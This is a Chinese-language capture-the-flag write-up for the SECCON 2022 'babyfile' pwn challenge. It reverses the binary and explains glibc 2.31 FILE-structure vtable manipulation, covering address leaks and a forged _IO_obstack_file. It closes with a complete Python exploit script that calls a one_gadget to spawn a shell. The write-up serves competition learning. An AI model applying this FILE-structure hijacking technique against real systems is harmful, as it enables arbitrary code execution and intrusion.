secconctf-2022-pwn-babyfile
secconctf-2022-pwn-babyfile
总结
-
可以使用
_IO_file_doallocate
+_IO_file_sync
实现缓冲区指针和读写指针初始化 -
利用
_IO_obstack_file
结构体攻击时,fp.flag
最好是(0xfbad1800 | 0x8000),用别的可能会造成obstack指针出错 -
_IO_obstack_overflow
好像也可以实现劫持程序流...真奇怪,源码明明没有啊... -
有libc地址任意读,怎么泄露堆地址?
可以考虑
main_arena
-
随带一提:有libc地址任意读怎么泄露elf地址?
pwndbg> p &stderr $2 = (FILE **) 0x7f1b2348a780 <stderr> pwndbg> search -p 0x7f1b2348a780 Searching for value: b'\x80\xa7H#\x1b\x7f\x00\x00' libc-2.31.so 0x7f1b23488db0 0x7f1b2348a780
有ld地址呢?
忘了。。。
-
利用
_IO_obstack_file
结构体攻击,我应该封装一下,不然每次写的太浪费时间了
逆向分析
glibc版本
$ ./libc-2.31.so
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
GLIBC版本是2.31,对于本题,我们只需要知道有vtable检查就行了
关键函数
-
main函数
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // eax char off; // [rsp+7h] [rbp-9h] FILE *fp; // [rsp+8h] [rbp-8h] alarm(0x1Eu); write(1, "Play with FILE structure\n", 0x19uLL); fp = fopen("/dev/null", "r"); if ( fp ) { fp->__pad2 = 0LL; while ( 1 ) { v4 = menu(); if ( v4 == 2 ) { write(1, "offset: ", 8uLL); off = getint(); if ( off < 0 ) off |= 0x40u; write(1, "value: ", 7uLL); *((_BYTE *)&fp->_flags + (unsigned __int8)off) = getint(); } else if ( v4 <= 2 ) { if ( !v4 ) { write(1, "Bye!", 4uLL); _exit(0); } if ( v4 == 1 ) fflush(fp); } write(1, "Done.\n", 6uLL); } } write(1, "Open error", 0xAuLL); return -1; }
可以看到逻辑很简单,打开一个文件,输入1就刷新fp,输入2就往fp的某个可以指定的偏移输入一个字节
总结
- 我们要利用某个vtable中的函数泄露地址
- 我们要想好利用什么vtable实现getshell,这里我选择用
_IO_obstack_file
漏洞利用
思路
-
首先考虑如何泄露。
-
考虑
_IO_file_xsputn
,原理如下:/* The 'xsputn' hook writes upto N characters from buffer DATA. Returns EOF or the number of character actually written. It matches the streambuf::xsputn virtual function. */
可以得知,它里面有write,但是我们打开的文件是
/dev/null
,没有输入输出流需要的指针。观察一下流程图:
要像执行new_do_write,我们必须有一块读写缓冲区,可以使用_IO_file_doallocate来申请
-
执行完
_IO_file_doallocate
后,其实我们的读写指针并没有初始化成功,还需要调用_IO_file_sync
//in the libioP.h /* The 'sync' hook attempts to synchronize the internal data structures of the file with the external state. It matches the streambuf::sync virtual function. */
具体自己看源码!
实现读写指针初始化
-
此时修改一下写指针(覆盖两个字节),让它输出vtable就泄露了一个libc地址了
-
然后就是攻击_IO_obstack_file结构体
-
过程
-
申请缓冲区
trick(0x29,0x01) #writer_prt trick(0x70,0x01) #fileno to_doall()
-
初始化读写指针
trick_prt(0,p64(0xfbad1800 | 0x8000)) to_file_sync()
-
泄露libc和堆地址(16分之一的概率)
trick(32,0x0) trick(40,0xf0) flush() lb = recv_current_libc_addr(libc.sym._IO_wfile_jumps) libc.address = lb log_address_ex2(lb)
-
伪造
_IO_obstack_file
,调用_IO_obstack_xsputn,最后调用one_gadget(真奇怪,好像调用overflow也行,占坑,以后看源码吧!)
#-----------------------------------------------------------------
fxxk_addr = libc.sym._IO_wfile_jumps + 0x300 - 0x28
#p *(struct _IO_obstack_file *)
log_address_ex2(fxxk_addr)
trick_prt(0x18,p64(0xff))
trick_prt(0x20,p64(0))
trick_prt(0x28,p64(8))
trick_prt(0x30,p64(0))
'''
$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
trick_prt(0x38,p64(lb + 0xe3b01))
trick_prt(0x48,p64(libc.search(b"/bin/sh\x00").__next__()))
trick_prt(0x40,p64(1))
trick_prt(0x68,p64(heap_base + 0x300))
trick_prt(0xd8,p64(fxxk_addr))
trick_prt(0xe0,p64(heap_base + 0x2a0))
flush()
EXP
#!/usr/bin/env python3
'''
Author: 7resp4ss
Date: 2022-11-12 22:04:39
LastEditTime: 2022-12-07 02:44:36
Description:
'''
from pwncli import *
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = gift.libc
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
if gift.remote:
libc = ELF("./libc-2.23.so")
gift["libc"] = libc
def flush():
sla("> ",str(1))
def trick(off,val):
sla("> ",str(2))
sla("offset: ",str(off))
sla("value: ",str(val))
def trick_prt(off,val):
cnt = 0
for i in range(8):
num = val[cnt]
sla("> ",str(2))
sla("offset: ",str(off+cnt))
sla("value: ",str(num))
cnt = cnt + 1
def exit():
sla("> ",str(0))
def to_doall():
trick(0xd8,0xa8)
flush()
def to_xspget():
trick(0xd8,0xb8 - (0x78-0x40))
flush()
def to_xsput():
trick(0xd8,0xb8 - (0x78-0x40+0x8))
flush()
def to_write():
trick(0xd8,0xb8)
flush()
def to_seek():
trick(0xd8,0xc0)
flush()
def to_setbuf():
trick(0xd8,0x98)
flush()
def to_setbuf():
trick(0xd8,0x98)
flush()
def to_read():
trick(0xd8,0xb0)
flush()
def to_file_sync():
trick(0xd8,0xa0)
flush()
s = '''
b _IO_obstack_xsputn
'''
trick(0x29,0x01)
trick(0x70,0x01)
to_doall()
trick_prt(0,p64(0xfbad1800 | 0x8000))
to_file_sync()
#local
fxxk_bit= ((get_current_heapbase_addr() + 0x2a0)>>8)&0xff
trick(32,0xa0) #0x0 - 0x8
trick(33,fxxk_bit) #0x8 - 0x10
trick(40,0xf0)
flush()
ru(p64(0xfbad9820))
heap_base = u64_ex(rn(8))&~0xfff
rn(0x30)
lb = recv_current_libc_addr(libc.sym._IO_2_1_stderr_)
libc.address = lb
log_address_ex2(lb)
log_address_ex2(heap_base)
#-----------------------------------------------------------------
fxxk_addr = libc.sym._IO_wfile_jumps + 0x300 - 0x28
#p *(struct _IO_obstack_file *)
log_address_ex2(fxxk_addr)
trick_prt(0x18,p64(0xff))
trick_prt(0x20,p64(0))
trick_prt(0x28,p64(8))
trick_prt(0x30,p64(0))
'''
$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.31.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
trick_prt(0x38,p64(lb + 0xe3b01))
trick_prt(0x48,p64(libc.search(b"/bin/sh\x00").__next__()))
trick_prt(0x40,p64(1))
trick_prt(0x68,p64(heap_base + 0x300))
trick_prt(0xd8,p64(fxxk_addr))
trick_prt(0xe0,p64(heap_base + 0x2a0))
flush()
io.interactive()
11月的题目我12月才做。。。只能说最近太忙了(╹ڡ╹ )